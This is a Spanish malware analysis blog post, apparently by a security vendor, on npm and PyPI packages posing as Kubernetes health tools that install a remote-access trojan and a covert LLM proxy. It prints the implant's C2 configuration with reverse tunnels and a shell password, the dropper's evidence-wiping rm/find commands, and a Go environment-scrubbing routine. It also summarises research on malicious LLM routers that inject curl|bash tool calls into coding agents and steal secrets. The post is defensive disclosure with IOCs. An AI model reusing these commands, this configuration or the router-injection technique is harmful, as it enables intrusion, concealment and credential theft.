Recientemente, observamos dos paquetes maliciosos en npm (kube-health-tools) y PyPI (kube-node-health) que parecen diseñados para atacar entornos de Kubernetes. Ambos paquetes son inofensivos en la superficie, utilizando nombres que hacen referencia a Kubernetes para parecer legítimos. Sin embargo, en segundo plano, instalan silenciosamente un servicio proxy LLM completo en la máquina de la víctima, lo que permite al atacante enrutar el tráfico LLM a través del servidor comprometido como si fuera un nodo de retransmisión más en una plataforma comercial de reventa de IA.
Fase 1: Los Droppers
Ambos paquetes distribuyen un binario nativo compilado como su portador de carga útil.
Los dos archivos de la fase 1 son:
__init___cpython-311-x86_64-linux-gnu.so(paquete PyPI)addon.node(paquete npm)
Ambos son binarios nativos que se ejecutan al importar o al require(). El .so es una extensión de Python compilada con Cython; el .node es un addon nativo de Node.js. Ambos descargan un binario de la fase 2 desde GitHub. La URL codificada en el dropper de PyPI se resuelve en:
https://github[.]com/gibunxi4201/kube-node-diag/releases/download/v2[.]0/kube-diag-linux-amd64-packedEl dropper de npm obtiene una variante más capaz de la misma versión:
https://github[.]com/gibunxi4201/kube-node-diag/releases/download/v2[.]0/kube-diag-full-linux-amd64-packedAmbos binarios se escriben en /tmp/.kh, se marcan como ejecutables y se lanzan inmediatamente.
Ambos droppers también incrustan blobs de configuración cifrados con XOR que se canalizan directamente al binario de la fase 2 al iniciarse. El binario de la fase 2 lee la configuración de stdin, la descifra y la utiliza como su configuración de tiempo de ejecución:
{
"server": "https://sync[.]geeker[.]indevs[.]in",
"auth": "skywork:e5c2b988f369d9e51f30985eb8c1c5ae",
"tunnels": [
"R:4444:127.0.0.1:0",
"R:4446:127.0.0.1:22",
"R:4445:127.0.0.1:8200"
],
"shell": {
"enabled": true,
"password": "123qweASD",
"auth_keys": []
},
"disguise": {
"process_name": "node-health-check",
"argv": "--mode=daemon"
},
"keepalive": "25s",
"max_retry_interval": "30s",
"headers": {
"User-Agent": "Mozilla/5.0"
},
"tls_skip_verify": true
}La configuración revela varias cosas sobre la operación. El servidor de Comando y Control (C2) es sync[.]geeker[.]indevs[.]in, autenticado con una credencial codificada (skywork:e5c2b988f369d9e51f30985eb8c1c5ae). El bloque de disfraz instruye al implante para que enmascare su proceso como node-health-check --mode=daemon, mezclándose con herramientas legítimas en una lista de procesos.
Los tres túneles inversos en la configuración mapean un puerto del servidor C2 del atacante a un servicio local en la máquina de la víctima:
- Puerto 4444 enruta a
127.0.0.1:0(el proxy LLM) - Puerto 4446 enruta a
127.0.0.1:22(el servidor SSH de la víctima) - Puerto 4445 enruta a
127.0.0.1:8200(el puerto predeterminado de HashiCorp Vault, un almacén de secretos comúnmente utilizado en entornos Kubernetes)
La variante de npm también incluye un fallback de ngrok, que cicla a través de un pool de cuentas de ngrok entregadas por el C2, exponiendo el servidor de la víctima a través de un endpoint público.
Después de lanzar el binario de etapa 2, el script dropper borra activamente la evidencia de su propia ejecución. Elimina el binario descargado de /tmp/.kh, elimina un segundo archivo temporal en /tmp/.ns, y luego, lo más notable, elimina recursivamente todo el kube-health-tools directorio del paquete de node_modules:
sleep 2
rm -f $P $S
find / -type d -name "kube-health-tools" -path "*/node_modules/*" -exec rm -rf {} + 2>/dev/nullA los dos segundos de iniciar el binario de etapa 2, todo rastro de la instalación desaparece. Un escaneo forense post-incidente de node_modules no encontrará nada.
Etapa 2: Troyano de Acceso Remoto
El binario de la etapa 2 es un binario Go compilado con varias capacidades empaquetadas en un único ejecutable. Se conecta de nuevo a sync[.]geeker[.]indevs[.]in a través de WebSocket, establece una sesión SSH y utiliza un protocolo de tunelización Chisel para registrar los túneles definidos en la configuración.
El implante implementa la tunelización Chisel a través de WebSocket:
- Proxy SOCKS5: El binario puede exponer un proxy SOCKS5 completo, permitiendo al atacante enrutar tráfico TCP arbitrario a través de la red de la víctima.
- Shell inversa: Configurado con la contraseña (
123qweASD) encontrada en el bloque de configuración del dropper, proporcionando un terminal interactivo completo. - Servidor SFTP: Incluye un servidor SFTP completo, otorgando al atacante acceso completo de lectura/escritura al sistema de archivos.
- Proxy LLM: Una pasarela API compatible con OpenAI que acepta solicitudes y las enruta a través de routers proporcionados por el atacante.
El binario se encarga de ocultarse tras el lanzamiento. Renombra su proceso a node-health-check con el argumento --mode=daemon, haciendo que se integre con herramientas legítimas en una lista de procesos. También elimina todas las variables de entorno relevantes inmediatamente al inicio:
func ClearEnv() {
for _, name := range []string{"NHC_CFG", "KH_CFG", "NHC_KEY", "NHC_KEY_FILE"} {
os.Unsetenv(name)
}
const aesKey = "s0m3R4nd0mK3y2026xYz"
for _, kv := range os.Environ() {
parts := strings.SplitN(kv, "=", 2)
if len(parts) == 2 && strings.Contains(parts[1], aesKey) {
os.Unsetenv(parts[0])
}
}
}
Esto asegura que si una KH_CFG o NHC_CFG variable de anulación del operador se estableció, desaparece del entorno antes de que cualquier inspección pueda encontrarla.
El proxy LLM
El implante incluye un proxy LLM totalmente funcional y compatible con OpenAI incrustado directamente en el binario de la etapa 2. Parece ser una pasarela API que acepta solicitudes y las enruta a APIs upstream, incluyendo routers LLM chinos como shubiaobiao.
El proxy expone cuatro rutas de entrada, accesibles a través del túnel:
GET /health→ 200 OKGET /v1/models→ lista todos los modelos configuradosPOST /v1/chat/completions→ enruta al upstreamPOST /v1/completions→ enruta al upstream
Cuando una solicitud llega a /v1/chat/completions, el proxy:
- Lee el
modelocampo del cuerpo de la solicitud - Busca el nombre del modelo en una tabla de enrutamiento proporcionada por el C2
- Selecciona una clave API de cualquiera de los
key_normalokey_ultrapools, dependiendo delkey_typecampo de la configuración - Reescribe la solicitud con el host upstream, la ruta y el token de autenticación bearer.
- Reenvía la solicitud y transmite la respuesta de vuelta
A partir de las cadenas de ruta upstream encontradas en el binario, la tabla de enrutamiento mapea los nombres de los modelos a rutas como estas:
https://<url_from_c2>/gpt-proxy/shubiaobiao/chat/completions
https://<url_from_c2>/gpt-proxy/cloudsway/chat/completions
https://<url_from_c2>/gpt-proxy/aliyun/chat/completions
https://<url_from_c2>/gpt-proxy/volengine/chat/completions
https://<url_from_c2>/gpt-proxy/aws/claude/chat/completions
https://<url_from_c2>/gpt-proxy/azure/chat/completions
https://<url_from_c2>/gpt-proxy/google/claude/chat/completions
https://<url_from_c2>/gpt-proxy/xmind/claude/chat/completions
https://<url_from_c2>/gpt-proxy/kuanbang/chat/completions
https://<url_from_c2>/gpt-proxy/deepseek/reasoner
https://<url_from_c2>/gpt-proxy/router/chat/completionsEl /gpt-proxy/ prefijo de ruta, combinado con nombres de proveedores como shubiaobiao, cloudsway y volengine, apunta a agregadores intermediarios en lugar de APIs de proveedores oficiales. Ni api.openai.com ni api.anthropic.com aparecen en ninguna parte del binario.
El binario contiene 109 cadenas de nombres de modelos codificadas que se utilizan para construir la respuesta de /v1/models. Abarcan los principales proveedores de frontera, incluyendo modelos de Anthropic (claude-opus-4.6, claude-sonnet-4.6-thinking), OpenAI (gpt-5.4, gpt-5.3-codex), Google (gemini-3.1-pro-preview, gemini-2.5-flash), ByteDance VolcEngine (doubao-seed-1.8-pro-251215, doubao_2050_write_agent_v7), y Alibaba (qwen3-235b-a22b-instruct-2507).
El ecosistema de proxies chino
Ejecutar servidores proxy en máquinas comprometidas es un comportamiento recurrente en el panorama de amenazas chino, impulsado en parte por las restricciones impuestas por el Great Firewall. Anteriormente, AhnLab descubrió a atacantes desplegando herramientas como TinyProxy y Sing-box en servidores honeypot vulnerables para ejecutar servicios proxy encubiertos. De hecho, la cuenta de GitHub gibunxi4201, que aloja la carga útil de la fase 2, parece tener otros proyectos relacionados con proxies en su historial de lanzamientos, lo que es coherente con un operador centrado principalmente en la infraestructura de proxies.

Estas herramientas proxy a menudo se implementan en servidores vulnerables para obtener IPs proxy gratuitas, pero también en servicios gratuitos como HuggingFace, Databricks y Streamlit para navegar por la web sin restricciones del Great Firewall. El patrón es siempre el mismo: encontrar un recurso barato o comprometido y convertirlo en un servidor proxy gratuito.
Los desarrolladores chinos a menudo no pueden acceder a los modelos de IA debido a bloqueos regionales. Esto ha creado un floreciente mercado gris para el acceso a la API de LLM. Plataformas chinas como Xianyu, Goofish y Taobao están llenas de anuncios de vendedores que ofrecen acceso a ChatGPT, Claude y Gemini a una fracción de los precios oficiales a través de endpoints de enrutador (como los que se encuentran en este malware). Incluso hay vendedores que ofrecen cursos sobre cómo monetizar operando sus propios enrutadores LLM.

Enrutadores LLM Maliciosos
Más allá de proporcionar acceso económico a la IA, los enrutadores LLM como el desplegado aquí se encuentran en un límite de confianza que es fácilmente susceptible de abuso. Debido a que cada solicitud pasa a través del enrutador en texto plano, un operador malicioso puede, como documentan Hanzhi Liu et al.:
- Inyectar llamadas a herramientas maliciosas en las respuestas de los agentes de codificación antes de que lleguen al cliente, introduciendo elementos maliciosos
pip installocurl | bashcargas útiles en tránsito - Exfiltrar secretos de forma silenciosa de los cuerpos de solicitudes y respuestas, incluyendo claves API, credenciales de AWS, tokens de GitHub, claves privadas de Ethereum y prompts del sistema
Los investigadores descubrieron que en un corpus de 428 enrutadores comerciales, 9 estaban inyectando activamente código malicioso en las llamadas a herramientas devueltas, y se encontró que 17 accedieron a credenciales canary de AWS propiedad de los investigadores después de observarlas en tránsito.
Aunque no encontramos evidencia de inyección o exfiltración en este implante específico, cualquier desarrollador cuyas herramientas de codificación de IA se enruten a través de una máquina comprometida está pasando efectivamente toda su ventana de contexto a través de un relé controlado por un adversario.
Cómo Aikido lo detecta
Si es usuario de Aikido, revise su feed central y filtre por problemas de malware. Esto aparecerá como un problema crítico de 100/100. Aikido realiza reescaneos cada noche, pero recomendamos activar un reescaneo manual ahora.

Si aún no es usuario de Aikido, puede crear una cuenta y conectar sus repositorios. Nuestra cobertura de malware está incluida en el plan gratuito, sin necesidad de tarjeta de crédito.
Para una cobertura más amplia en todo su equipo, el Endpoint Protection de Aikido le proporciona visibilidad y control sobre los paquetes de software instalados en los dispositivos de su equipo. Cubre extensiones de navegador, librerías de código, plugins de IDE y dependencias de compilación, todo en un solo lugar. Detenga el malware antes de que se instale.
Para una protección futura, considere Aikido Safe Chain (código abierto). Safe Chain se integra en su flujo de trabajo existente, interceptando comandos npm, npx, yarn, pnpm y pnpx y verificando los paquetes con Aikido Intel antes de la instalación.
IOCs
Paquetes Maliciosos
- PyPI:
kube-node-health - npm:
kube-health-tools
Hashes de Archivos
__init___cpython-311-x86_64-linux-gnu.so(fase 1 de PyPI)- SHA256:
b3405b8456f4e82f192cdff6fdd5b290a58fafda01fbc08174105b922bd7b3cf
- SHA256:
addon.node(fase 1 de npm)- SHA256:
5d58ce3119c37f2bd552f4d883a4f4896dfcb8fb04875f844f999497e4ca846d
- SHA256:
kube-diag-linux-amd64-packed(variante de PyPI de fase 2)- SHA256:
fb3ae78d09c119ec335c3b99a95c97d9bb6f92fd2c7c9b0d3e875347e2f25bb2
- SHA256:
kube-diag-full-linux-amd64-packed(variante de npm de fase 2)- SHA256:
3a3d8f8636fa1db21871005a49ecd7fa59688fa763622fa737ce6b899558b300
- SHA256:
Indicadores de Red
- Servidor C2:
sync[.]geeker[.]indevs[.]in - Descarga de la fase 2:
github[.]com/gibunxi4201/kube-node-diag
Indicadores de proceso
- Nombre del proceso:
node-health-check - Rutas de descarga temporales:
/tmp/.khy/tmp/.ns

